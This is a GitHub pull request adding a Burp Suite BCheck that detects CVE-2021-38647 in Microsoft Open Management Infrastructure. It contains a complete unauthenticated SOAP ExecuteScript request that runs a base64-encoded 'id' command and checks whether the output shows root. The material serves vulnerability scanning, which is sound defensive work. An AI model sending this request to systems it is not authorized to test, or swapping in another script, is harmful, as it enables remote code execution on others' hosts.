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CVE-2021-38647 #92

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Aug 29, 2023
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CVE-2021-38647 #92

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CVE-2021-38647
DolphFlynn Aug 27, 2023
a0f5e44
Ensure request is named.
DolphFlynn Aug 28, 2023
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61 changes: 61 additions & 0 deletions vulnerabilities-CVEd/CVE-2021-38647 - Microsoft Open Management Infrastructure - RCE.bcheck
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metadata:
language: v1-beta
name: "CVE-2021-38647 - Microsoft Open Management Infrastructure - RCE"
description: "Checks for CVE-2021-38647"
author: "Dolph Flynn"
tags: "CVE-2021-38647", "omi", "microsoft"


given host then
send request:
`POST /wsman HTTP/1.1
Host: {base.request.url.host}
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Content-Type: application/soap+xml;charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close

<s:Envelope
xmlns:s=\"http://www.w3.org/2003/05/soap-envelope\"
xmlns:a=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\"
xmlns:n=\"http://schemas.xmlsoap.org/ws/2004/09/enumeration\"
xmlns:w=\"http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\"
xmlns:xsi=\"http://www.w3.org/2001/XMLSchema\"
xmlns:h=\"http://schemas.microsoft.com/wbem/wsman/1/windows/shell\"
xmlns:p=\"http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd\">
<s:Header>
<a:To>HTTP://{base.request.url.host}/wsman/</a:To>
<w:ResourceURI s:mustUnderstand=\"true\">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
<a:ReplyTo>
<a:Address s:mustUnderstand=\"true\">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
</a:ReplyTo>
<a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action>
<w:MaxEnvelopeSize s:mustUnderstand=\"true\">102400</w:MaxEnvelopeSize>
<a:MessageID>uuid:00B60932-CC01-0005-0000-000000010000</a:MessageID>
<w:OperationTimeout>PT1M30S</w:OperationTimeout>
<w:Locale xml:lang=\"en-us\" s:mustUnderstand=\"false\"/>
<p:DataLocale xml:lang=\"en-us\" s:mustUnderstand=\"false\"/>
<w:OptionSet s:mustUnderstand=\"true\"/>
<w:SelectorSet>
<w:Selector Name=\"__cimnamespace\">root/scx</w:Selector>
</w:SelectorSet>
</s:Header>
<s:Body>
<p:ExecuteScript_INPUT
xmlns:p=\"http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem\">
<p:Script>aWQ=</p:Script>
<p:Arguments/>
<p:timeout>0</p:timeout>
<p:b64encoded>true</p:b64encoded>
</p:ExecuteScript_INPUT>
</s:Body>
</s:Envelope>
`

if ({check.response.body} matches "\b<p:StdOut>\b" and {check.response.body} matches "\buid=0(root) gid=0(root) groups=0\b") then

report issue:
severity: high
confidence: tentative
detail: "Microsoft Open Management Infrastructure - Remote Code Execution."

end if